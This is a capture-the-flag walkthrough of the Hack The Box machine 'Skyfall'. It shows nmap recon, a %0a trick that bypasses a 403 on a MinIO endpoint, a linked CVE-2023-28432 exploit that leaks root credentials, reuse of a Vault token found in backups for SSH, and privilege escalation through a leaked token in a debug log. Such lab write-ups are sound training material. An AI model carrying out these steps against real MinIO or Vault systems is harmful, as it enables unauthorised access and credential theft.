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# Skyfall

{% embed url="<https://app.hackthebox.com/machines/Skyfall>" %}

## Recon

Let's start with a nmap scan.

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 skyfall.htb                
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 07:29 BST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.01 seconds
                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmap -p 22,80 -sC -sV -T4 skyfall.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-09 07:31 BST
Nmap scan report for skyfall.htb (10.10.11.254)
Host is up (0.040s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_  256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds
```

{% endcode %}

Let's visit the website. It look a cloud storage service. We are also able to find a team section and 3 email IDs.

Directory enumeration uncovered multiple image assets, which are not deemed valuable. Subsequently, subdomain enumeration using ffuf revealed the presence of a subdomain named `demo.skyfall.htb`. Let's explore this subdomain to gather additional information.

<figure><img src="/files/WA0WdGS1bMDhciuU4aDT" alt=""><figcaption></figcaption></figure>

## Initial Access

We have a login page with demo login details: `guest:guest`.

<figure><img src="/files/zfmGfCltgpJeQKDWJtn8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Jnqe5SChhaLXr1pxdeiT" alt=""><figcaption></figcaption></figure>

On the left panel, there is an entry labeled "Min10 Metrics." However, attempting to access Min10 Metrics directly results in a 403 forbidden error. This access restriction can be circumvented by appending `%0a` at the end of the URL.

<figure><img src="/files/4fVphHrxZr4w4I3bsWac" alt=""><figcaption></figcaption></figure>

We can see a URL at the endpoint.

```
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster
```

MinIO is reported to have the CVE-2023-28432 vulnerability, which entails an information leak risk. Exploiting this vulnerability can result in the exposure of sensitive information.

We can use this github link to exploit this vulnerability:

{% embed url="<https://github.com/acheiii/CVE-2023-28432>" %}

<figure><img src="/files/7o3InM4dUloBER9MLM1M" alt=""><figcaption></figcaption></figure>

We've obtained:

```
"MINIO_ROOT_USER": "5Gr*****************"
"MINIO_ROOT_PASSWORD": "Gkp*****************"
```

To install the Min10 client follow the steps at:

{% embed url="<https://min.io/docs/minio/linux/reference/minio-mc.html#id2>" %}

Now let’s execute the Min10 client.

{% code overflow="wrap" %}

```
mc alias set myminio http://prd23-s3-backend.skyfall.htb/ 5Gr***************** Gkp*****************
```

{% endcode %}

Let’s check for files.

```
mc ls -r --versions myminio
```

<figure><img src="/files/vd7NR6yYZsy7qZZixOpB" alt=""><figcaption></figcaption></figure>

Here we can find some backup files with the .gz extension. Let's download those files and decompress them.

<figure><img src="/files/3aO1wou2U2hhBBbb33ns" alt=""><figcaption></figcaption></figure>

Upon further enumeration of files with the .gz extension, we found these.

{% code overflow="wrap" %}

```
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb/"
export VAULT_TOKEN="hvs.*****************************************"
```

{% endcode %}

<figure><img src="/files/GDeGaAWeZg9nc9KgmX5g" alt=""><figcaption></figcaption></figure>

To install Vault we have to Download the Vault Binary First.&#x20;

{% embed url="<https://developer.hashicorp.com/vault/install>" %}

Add “prd23-vault-internal.skyfall.htb” to the /etc/hosts file. Then, run the command as follows:

{% code overflow="wrap" %}

```
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/" export VAULT_TOKEN="hvs.**************************************************"
```

{% endcode %}

We can log in now.

<figure><img src="/files/nMI3WQOJdUoFBWikNig8" alt=""><figcaption></figcaption></figure>

When we list the `SSH` roles, we see different roles, but for now we can only access `dev_otp_key_role`.

<figure><img src="/files/s61CO8sSpMSqOVUirin5" alt=""><figcaption></figcaption></figure>

To obtain user access, execute the following code. An OTP will be generated, and use the OTP as the password for the SSH connection:

```
./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254
```

<figure><img src="/files/z8F0Vhb04cBqVpqkkBcM" alt=""><figcaption></figcaption></figure>

We've got our first flag.&#x20;

## Privilege Escalation

{% code overflow="wrap" %}

```
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
    (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
```

{% endcode %}

Upon executing the following command, we observe the creation of a debug.log file.

<figure><img src="/files/KHou7fI71KvekJI3zVrr" alt=""><figcaption></figcaption></figure>

Upon inspecting the debug.log file, we discover an additional Vault Token.

<figure><img src="/files/3Qg86qnQa9KtblJ51wDY" alt=""><figcaption></figcaption></figure>

Next, we must substitute the Vault Token with a fresh one.

```
export VAULT_TOKEN=hvs.I0e*********************
```

Once the role has been configured as admin\_otp\_key\_role, we gain access to log in as root.

{% code overflow="wrap" %}

```
vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no root@10.10.11.254
```

{% endcode %}

<figure><img src="/files/gN32SqpLRWMxwzlkpiKq" alt=""><figcaption></figcaption></figure>

We are root and have our root flag.


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